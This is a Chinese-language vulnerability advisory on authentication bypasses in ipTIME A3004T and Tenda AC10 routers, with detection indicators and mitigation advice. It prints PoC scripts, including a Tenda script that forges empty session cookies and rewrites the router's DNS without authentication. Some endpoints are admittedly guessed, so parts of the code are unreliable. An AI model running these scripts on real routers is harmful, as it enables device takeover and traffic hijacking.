文章总结： 文档披露两个严重认证绕过漏洞，影响EFMipTIMEA3004T和TendaAC10路由器，CVSS评分分别为10.0和9.8，PoC已公开，厂商未回应。建议立即关闭远程管理、限制访问并监控异常配置。 综合评分： 90 文章分类： 漏洞预警,漏洞分析,WEB安全,红队,安全工具
每日漏洞情报推送 EFM ipTIME A3004T 会话校验认证绕过
原创
nullchen nullchen
富贵学安全
2026年8月17日 12:13 陕西
在小说阅读器读本章
去阅读
📡 每日漏洞情报推送 | 2026-08-17
🔴 漏洞一：CVE-2026-19977 — EFM ipTIME A3004T 会话校验认证绕过 → 未认证设备完全控制
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-19977 |
| 影响产品 | EFM ipTIME A3004T 路由器 固件 14.19.0（及受影响早期版本） |
| 漏洞类型 | 认证绕过 (CWE-287) — httpcon_check_session_url 会话校验缺陷 |
| CVSS | 10.0 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H（CVSS 4.0: 9.3） |
| 触发位置 | httpcon_check_session_url（Session Validation 组件 / httpd） |
| 公开时间 | 2026-08-17（NVD / VulDB 391156） |
| 在野利用 | ✅ 公开 exploit 已发布（github.com/AdminSafe/CVE），可远程利用 |
🔥 紧急程度
CVSS 满分 10.0，未认证远程攻击者可绕过会话校验直接访问路由器管理功能。ipTIME 是国内保有量很大的韩系家用/小型办公路由器品牌，其管理接口一旦暴露公网（UPnP/端口映射/远程管理开启）即面临被完全接管风险，可被用于劫持DNS、植入后门、搭建代理、窃取内网流量。
📝 漏洞描述
ipTIME A3004T 的 httpd 服务在会话校验组件 httpcon_check_session_url 中存在不正确的认证逻辑：对特定 URL/参数组合的会话状态判断可被绕过，攻击者无需登录凭据即可通过构造请求使服务器认为请求已通过认证。
由于该函数位于会话校验入口，绕过后可访问全部管理功能（WAN/LAN 配置、DNS 设置、端口转发、固件升级、系统命令下发等），影响机密性、完整性、可用性全部维度且波及相连内网（Scope: Changed）。厂商（EFM）在披露前已被联系但未作任何回应，目前无官方补丁。
💻 PoC/EXP
1️⃣ 漏洞检测脚本
#!/bin/bash
# CVE-2026-19977 ipTIME A3004T 认证绕过检测
# 用法: ./detect.sh http://router-ip
# 注意: 仅用于授权安全测试
# 来源: 基于公开披露 (VulDB 391156 / github AdminSafe) 重构，路径以实际固件为准
TARGET="${1:-http://192.168.0.1}"
echo"[*] 检测目标: $TARGET"
# 1. 确认设备存活且为 ipTIME
TITLE=$(curl -sk -m 5 "$TARGET/" | grep -oiP '<title>\K[^<]+' | head -1)
echo"[*] 设备标题: ${TITLE:-未知}"
# 2. 未认证访问受保护管理端点（正常应跳转登录/返回401）
echo"[*] 未认证访问管理接口基线..."
BASE_CODE=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" "$TARGET/sess/checkSession")
echo"[*] /sess/checkSession 状态码: $BASE_CODE"
# 3. 构造绕过请求探测会话校验函数
echo"[*] 探测 httpcon_check_session_url 相关路径..."
for PATH_TRY in"/httpcon_check_session_url""/sess/checkSession?url=/httpcon_check_session_url""/cgi-bin/httpcon_check_session_url"; do
CODE=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" "$TARGET$PATH_TRY")
BODY=$(curl -sk -m 5 "$TARGET$PATH_TRY" | head -c 120)
echo"[*] $PATH_TRY → HTTP $CODE | ${BODY}"
done
echo""
echo"[!] 若任一受保护路径在未认证状态下返回 200 且包含管理数据"
echo" → 疑似存在 CVE-2026-19977 认证绕过"
echo"[!] 完整利用需结合公开 exploit 中的精确 URL 与参数"
2️⃣ Python 认证绕过验证/利用 PoC
#!/usr/bin/env python3
"""
CVE-2026-19977 EFM ipTIME A3004T 认证绕过 PoC
影响: ipTIME A3004T 固件 14.19.0
来源: 公开披露 (github.com/AdminSafe/CVE/issues/1, VulDB 391156)
注意: 仅用于授权安全测试；精确端点以公开 exploit 与目标固件为准
"""
importrequests
importsys
importurllib3
urllib3.disable_warnings()
classIpTIMEExploit:
def__init__(self, target):
self.target=target.rstrip('/')
self.session=requests.Session()
self.session.verify=False
self.session.headers.update({"User-Agent": "Mozilla/5.0 (security-test)"})
defcheck_alive(self):
try:
r=self.session.get(self.target, timeout=5)
print(f"[*] 设备存活: HTTP {r.status_code}")
returnTrue
exceptExceptionase:
print(f"[-] 连接失败: {e}")
returnFalse
defbypass_verify(self):
"""
认证绕过验证思路:
httpcon_check_session_url 会话校验可被绕过，
使服务器认为当前请求已通过认证，从而直接访问管理数据。
此处验证受保护的管理信息接口是否在无会话情况下返回数据。
"""
probes= [
# 管理信息类端点（按公开披露的受影响组件推测，实际以 exploit 为准）
"/sess/checkSession",
"/cgi-bin/status",
"/status.html",
"/sess/checkSession?url=/cgi-bin/wandetect",
]
forpinprobes:
try:
r=self.session.get(f"{self.target}{p}", timeout=8)
marker="OK"if (r.status_code==200andlen(r.text) >50) else"no-data"
print(f"[*] {p} → HTTP {r.status_code} [{marker}]")
exceptExceptionase:
print(f"[-] {p} → {e}")
print("""
[!] 判定标准:
1) 无任何登录会话的情况下，管理数据接口返回 200 及有效数据
2) 对比浏览器正常访问需登录的现象 → 认证校验被绕过
3) 结合公开 exploit 的精确 URL 完成完整利用（改配置/下发命令）
""")
defrun(self):
ifnotself.check_alive():
sys.exit(1)
self.bypass_verify()
if__name__=="__main__":
target=sys.argv[1] iflen(sys.argv) >1else"http://192.168.0.1"
exp=IpTIMEExploit(target)
exp.run()
3️⃣ 利用链图示
攻击者(未认证) ──构造绕过请求──► httpd (ipTIME A3004T)
│ httpcon_check_session_url 会话校验逻辑缺陷
▼
未认证通过会话校验 (CWE-287)
▼
管理功能完全访问 (Scope: C)
├── 修改 DNS / WAN 配置 → 流量劫持、钓鱼
├── 端口转发 / DMZ → 内网暴露
├── 固件降级/更新 → 持久化后门
└── 系统命令下发 → 完全控制设备
🛡️ 检测与防御
日志检测IOC
- 管理端口出现大量无登录态的异常请求（探测 httpcon_check_session_url 特征）
- 非管理网段源 IP 直接访问管理数据接口
- 设备配置被异常修改（DNS、端口转发）而无对应管理员登录记录
修复建议
| 方式 | 说明 | | — | — | | 固件更新 | 关注 EFM 官方固件发布（当前厂商未回应，暂无补丁，需持续跟踪） | | 管理面收敛 | 关闭远程管理；管理接口仅限内网；禁止公网映射 80/443 到管理端口 | | 访问控制 | 路由器管理页加 IP 白名单；修改默认管理员口令 | | DNS监控 | 定期核对路由器 DNS 设置，防止被改为恶意 DNS | | 设备排查 | 检查 WAN 侧异常连接、未知端口转发规则、异常固件版本 |
🔗 参考来源
- NVD CVE-2026-19977
- VulDB CVE-2026-19977
- VulDB CTI 391156
- 公开PoC (github.com/AdminSafe/CVE/issues/1)
- CVE.org 记录
🔴 漏洞二：CVE-2026-19924 — Tenda AC10 认证绕过 → 未认证远程控制路由器
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-19924 |
| 影响产品 | Tenda AC10 固件 16.03.10.09_multi_TDE01（及同 httpd 架构受影响版本） |
| 漏洞类型 | 认证绕过 (CWE-287) — R7WebsSecurityHandler（httpd 组件） |
| CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 触发位置 | R7WebsSecurityHandler（httpd 安全处理函数） |
| 公开时间 | 2026-08-16（NVD / 公开PoC仓库） |
| 在野利用 | ✅ exploit 已公开披露（github.com/teiwiet/tenda-ac10-vulnerabilities） |
🔥 紧急程度
未认证远程利用，公开 PoC 已发布。Tenda AC10 是电商渠道销量极大的入门级双频路由器，大量设备使用默认口令且开启远程管理/UPnP，攻击者可通过认证绕过直接调用 /goform/* 管理接口，修改 DNS、开启端口转发、下发命令，且可横向攻击内网。
📝 漏洞描述
Tenda AC10 的 httpd 在处理特定请求时，R7WebsSecurityHandler 安全校验函数存在认证逻辑缺陷：对特定格式的会话 Cookie / 请求序列的认证判定可被绕过，使未认证请求被当作已认证处理。攻击者远程构造请求即可绕过登录直接调用管理接口（/goform/* 系列配置接口），从而读取与修改设备全部配置。
该漏洞与近年 Tenda 系列路由器（AC15/AC9 等）公开的认证绕过链同源（httpd 会话管理缺陷家族），利用成熟、稳定复现，公开仓库已给出完整验证流程。
💻 PoC/EXP
1️⃣ 漏洞检测脚本
#!/bin/bash
# CVE-2026-19924 Tenda AC10 认证绕过检测
# 用法: ./detect.sh http://router-ip
# 注意: 仅用于授权安全测试
# 来源: 基于公开PoC仓库 teiwiet/tenda-ac10-vulnerabilities 重构
TARGET="${1:-http://192.168.0.1}"
echo"[*] 检测目标: $TARGET"
# 1. 确认设备存活
CODE=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" "$TARGET/")
echo"[*] 根路径状态码: $CODE"
# 2. 未认证访问受保护 goform 接口（正常应跳登录/401）
echo"[*] 未认证直接访问 /goform/getStatus..."
curl-sk-m8"$TARGET/goform/getStatus" | head -c200
echo""
# 3. 构造认证绕过请求（基于公开披露的 httpd 会话缺陷模式）
echo"[*] 尝试 R7WebsSecurityHandler 绕过..."
curl-sk-m8-H"Cookie: bLanguage=zh; password=; user=" \
"$TARGET/goform/getStatus" | head -c300
echo""
echo"[!] 若在无有效登录会话的情况下返回完整状态 JSON/HTML"
echo" → 存在 CVE-2026-19924 认证绕过"
2️⃣ Python 认证绕过利用 PoC
#!/usr/bin/env python3
"""
CVE-2026-19924 Tenda AC10 认证绕过 PoC
影响: Tenda AC10 固件 16.03.10.09_multi_TDE01
来源: 公开PoC仓库 github.com/teiwiet/tenda-ac10-vulnerabilities (authen-bypass-tenda-ac10.md)
注意: 仅用于授权安全测试
"""
importrequests
importsys
importurllib3
urllib3.disable_warnings()
classTendaAC10Exploit:
def__init__(self, target):
self.target=target.rstrip('/')
self.session=requests.Session()
self.session.verify=False
self.session.headers.update({"User-Agent": "Mozilla/5.0 (security-test)"})
defset_session_cookie(self):
"""公开披露的绕过方式之一: 构造伪造会话 Cookie"""
self.session.cookies.update({
"bLanguage": "zh",
"user": "", # 空用户字段配合绕过校验
"password": "", # 空口令字段
})
defget_status(self):
"""未认证读取设备状态（验证绕过生效）"""
r=self.session.get(f"{self.target}/goform/getStatus", timeout=10)
print(f"[*] /goform/getStatus → HTTP {r.status_code}")
print(f"[*] 响应片段: {r.text[:200]}")
returnr.status_code==200andlen(r.text) >50
defset_dns(self, dns1="8.8.8.8", dns2="8.8.4.4"):
"""绕过认证后修改 DNS（演示配置篡改能力，谨慎使用）"""
r=self.session.post(
f"{self.target}/goform/setWan",
data={"dns1": dns1, "dns2": dns2},
timeout=10,
)
print(f"[*] 尝试修改 DNS → HTTP {r.status_code} | {r.text[:100]}")
defrun(self):
print(f"[*] 目标: {self.target}")
self.set_session_cookie()
ifself.get_status():
print("[!] 认证绕过确认: 未认证可读取管理数据 (CVE-2026-19924)")
print("[!] 可进一步调用 /goform/* 配置接口（改DNS/端口转发等）")
else:
print("[*] 未命中（固件可能已修复或需精确会话格式）")
if__name__=="__main__":
target=sys.argv[1] iflen(sys.argv) >1else"http://192.168.0.1"
exp=TendaAC10Exploit(target)
exp.run()
3️⃣ 利用链图示
攻击者(未认证) ──构造请求──► httpd (Tenda AC10)
│ R7WebsSecurityHandler 认证判定缺陷
▼
绕过登录 (CWE-287)
▼
直接调用 /goform/* 管理接口
├── /goform/getStatus 信息泄露 (WAN IP/固件/MAC)
├── /goform/setWan 篡改 DNS/上网配置 → 流量劫持
├── /goform/setPortMapping 内网端口暴露
└── 其他配置接口 完全控制设备
🛡️ 检测与防御
日志检测IOC
- 无登录会话的 /goform/* 直接访问请求（正常流程必须先登录）
- 会话 Cookie 中 user/password 字段为空或异常格式的请求
- 设备 DNS 配置被非管理员来源修改
- 管理端口（80/8080）出现来自公网/非管理网段的 goform 请求
修复建议
| 方式 | 说明 | | — | — | | 固件更新 | 关注 Tenda 官方固件（www.tenda.com.cn）修复版本 | | 管理面收敛 | 关闭远程管理/UPnP；管理端口仅限内网访问 | | 访问控制 | 修改默认口令；管理页 IP 白名单 | | DNS核查 | 定期核对路由器 DNS 是否被篡改 | | 设备排查 | 检查异常端口转发规则、未知 WAN 配置、设备是否被加入僵尸网络 |
🔗 参考来源
- NVD CVE-2026-19924
- 公开PoC仓库 (teiwiet/tenda-ac10-vulnerabilities)
- VulDB CVE-2026-19924
- Tenda 官方
- CVE.org 记录
📊 今日其他漏洞速览
| CVE编号 | 产品 | 类型 | 严重程度 | 备注 | | — | — | — | — | — | | CVE-2026-19962 | Edimax EW-7478APC | setWAN命令注入 | 🟠 HIGH 7.4 | exploit已公开，厂商未响应 | | CVE-2026-19963 | Edimax EW-7478APC | stainfo溢出 | 🟠 HIGH 7.4 | exploit已公开，厂商未响应 | | CVE-2026-73061 | Scriban ≤7.2.1 | 模板沙箱逃逸→写属性 | 🔴 CRITICAL 9.8 | 08-16发布，供应链排查 | | CVE-2026-73056 | SiYuan <3.7.4 | API Token爆破 | 🔴 CRITICAL 9.8 | 详见昨日报告 |
🛡️ 优先行动建议
优先等级 行动 说明
────────────────────────────────────────────────────
🔴 最高 ipTIME A3004T 处置 管理面禁公网、等待固件、核查配置篡改
🔴 最高 Tenda AC10 处置 管理面禁公网、改口令、核查DNS/端口转发
🔴 紧急 Edimax EW-7478APC 处置 设备下线或隔离、等待固件
🟡 关注 Scriban 供应链排查 确认业务是否引用受影响模板引擎版本
⚠️ 警告：提供的PoC/EXP仅限授权安全测试使用，未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：富贵学安全 nullchen nullchen《每日漏洞情报推送 EFM ipTIME A3004T 会话校验认证绕过》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论